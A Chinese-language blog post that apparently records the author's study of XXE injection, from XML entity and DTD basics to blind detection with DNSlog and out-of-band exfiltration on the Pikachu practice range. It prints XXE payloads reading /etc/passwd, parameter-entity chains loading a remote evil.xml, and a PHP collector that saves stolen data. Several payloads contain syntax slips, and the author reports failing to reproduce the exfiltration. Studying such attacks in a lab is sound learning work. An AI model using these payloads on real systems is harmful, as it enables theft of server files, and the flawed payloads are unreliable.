XXE漏洞,无回显下的判断(带出数据失败),xml基础语法。

1.XML基础语法

<?xml version="1.0" encoding="UTF-8"?><!-- 这是xml声明 -->
<!-- 这是一个XML注释 -->
<rootElement><!-- 这是根元素 - 元素可以嵌套,可以有属性和文本内容-->
  <childElement attribute="value">内容</childElement>
</rootElement><!-- 根元素结束 -->
<!-- 元素可以嵌套,可以有属性和文本内容 -->

2.XML 实体(Entities)

预定义实体

&lt;    <!-- < -->
&gt;    <!-- > -->
&amp;   <!-- & -->
&apos; <!-- ' -->
&quot; <!-- " -->

自定义内部实体

<!DOCTYPE 根元素名字 [
  <!ENTITY 实体名字 "这是实体内容">
]>
<root>&myentity;</root>
<!--DOCTYPE 表示 DTD 声明的开始
    根元素名:必须匹配 XML 文档的根元素(如 `<root>`)
    DTD规则:定义实体、元素、属性等(可内部定义,也可引用外部 DTD)-->

外部实体 (XXE 关键点)

<!DOCTYPE test(根元素名字) [
  <!ENTITY external(实体名字) SYSTEM "file:///etc/passwd">
]>
<root>&external;</root>
<!--
在此其中,SYSTEM是关键的,它的作用是
--声明外部实体:告诉 XML 解析器,实体的内容不是直接定义的,而是来自外部资源(如文件、URL)。
--指定资源位置:通过 `URI`(统一资源标识符)定位外部数据,例如file,http,php等协议
-->

在此其中,<root>&external;</root>的“&”是 XML 文档内容中 引用已定义的通用实体。它的语法是以 & 开头,; 结尾。

  • 关键点

    • 用于 替换文档中的文本内容

    • 可以是内部定义的字符串,也可以是外部资源(如 SYSTEM "file:///etc/passwd")。

    • XXE 攻击中常见:通过 &xxx; 尝试输出敏感文件内容。
      如果是%xxxx那就是 参数实体 (Parameter Entity)仅在 DTD 内部 使用(定义其他实体或规则),不能在 XML 文档内容中直接引用。以 % 开头,; 结尾。
      (DTD也就是在<!DOCTYPE [...]>,大白话讲也就是,&可以在如何地方用,而%只能在DTD里面用,我感觉就行是全局变量和,局部变量的区别。)
      实例:

<!DOCTYPE root [
  <!ENTITY % param "这是参数实体内容">  <!-- 定义参数实体 -->
  %param;  <!-- 在DTD内部展开参数实体 -->
  <!ENTITY general "基于参数实体定义的内容:%param;">
]>
<root>&general;</root>

输出:

<root>基于参数实体定义的内容:这是参数实体内容</root>

3. DTD (Document Type Definition)

DTD 定义了 XML 文档的结构,也是 XXE 利用的关键:
内部DTD

<!DOCTYPE note [
  <!ELEMENT note (to,from,body)>
  <!ELEMENT to (#PCDATA)>
  <!ELEMENT from (#PCDATA)>
  <!ELEMENT body (#PCDATA)>
]>
从上到下一行一行解析
- 作用:声明这是一个 XML 文档类型定义,根元素名为 `note`。
- 作用:定义 `note` 元素的子元素及其顺序。
- 作用:定义 `to` 元素的内容类型。
- 同 `to` 元素的定义,表示 `from` 元素只能包含文本。
- 同 `to` 和 `from`,表示 `body` 元素只能包含文本。
- #PCDATA代表可解析的字符数据
合法示例
<?xml version="1.0"?>
<!DOCTYPE note [
  <!ELEMENT note (to, from, body)>
  <!ELEMENT to (#PCDATA)>
  <!ELEMENT from (#PCDATA)>
  <!ELEMENT body (#PCDATA)>
]>
<note>
  <to>Alice</to>
  <from>Bob</from>
  <body>Meet me at 5 PM!</body>
</note>

外部 DTD

<!DOCTYPE note SYSTEM "http://example.com/note.dtd">

4. 参数实体 (Parameter Entities)

用于 DTD 内部的实体,以 % 开头:

<!DOCTYPE example [`
  `<!ENTITY % param_entity "这是参数实体">`
  `%param_entity;`
`]>

正题无回显判断XXE

使用DNSlog判断

打开DNSlog获取一个随机域名,然后使用以下payload(靶场为皮卡丘靶场)

payload

<?xml version="1.0"?>
<!DOCTYPE XXE [
  <!ENTITY % dnslog SYSTEM "http://yvvz27.dnslog.cn/你的dnslog url">
  %dnslog;
]>
<root>XXE</root>

带出数据的方法

思路是通过xxe获取目标内容,并通过引用一个外部xml,这个eval.xml又去访问我们的一个php文件,这个php文件会通过GET获取数据,并写入到本地文件。
首先我们的payload

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "http://192.168.0.249/vul/xxe/test.txt">
<!ENTITY % remote SYSTEM "http://192.168.0.249/vul/xxe/eval.xml">
%remote;
%all;
]>
<root>&send;</root>

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % remote SYSTEM "http://192.168.0.249/vul/xxe/eval.xml">
<!ENTITY % file SYSTEM "http://192.168.0.249/vul/xxe/test.txt">
%remote;
%file
%all;
]>
<root>&send;</root>

<?xml version="1.0"?>
<!DOCTYPE XXE[
<!ENTITY % file SYSTEM "http://192.168.0.249/vul/xxe/test.txt">
<!ENTITY % send SYSTEM "http://192.168.0.249/vul/xxe/collect.php?data=%file">
%file;
%send;
]>


<?xml version="1.0"?>
<!DOCTYPE XXE[
<!ENTITY % file SYSTEM "http://192.168.0.249/vul/xxe/test.txt">
<!ENTITY % eval "<!ENTITY &#x25; send SYSTEM 'http://192.168.0.249/vul/xxe/collect.php?data=%file;'>">
%eval;
%send;
]>
<root>123</root>

直到25/7/28日我还没有,完成复现操作,我已经试了无数次了,不管是重新payload,eval还是collect.php都无法实现复现,我顺着暗月的教程也没成功,我个人感觉是php版本或者扩展的问题,也就复现成功一次。qwq下面提供暗月课程中的复现文件(dnslog测试是成功的)我也希望有大佬可以解答一下,闹麻了搞一下午。
payload

<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "file://ip/file">
<!ENTITY % remote SYSTEM "http://ip/evil.xml">
%remote;
%all;
]>
<root>send;</root>

evil.xml

<!ENTITY % all "<!ENTITY send SYSTEM 'http://ip/1.php?file=%file;'>">

1.php

<?php file_put_contents("1.txt",$_GET['file']); ?>

posted on 2025-07-28 22:40  Hmis  阅读(48)  评论(0)    收藏  举报

导航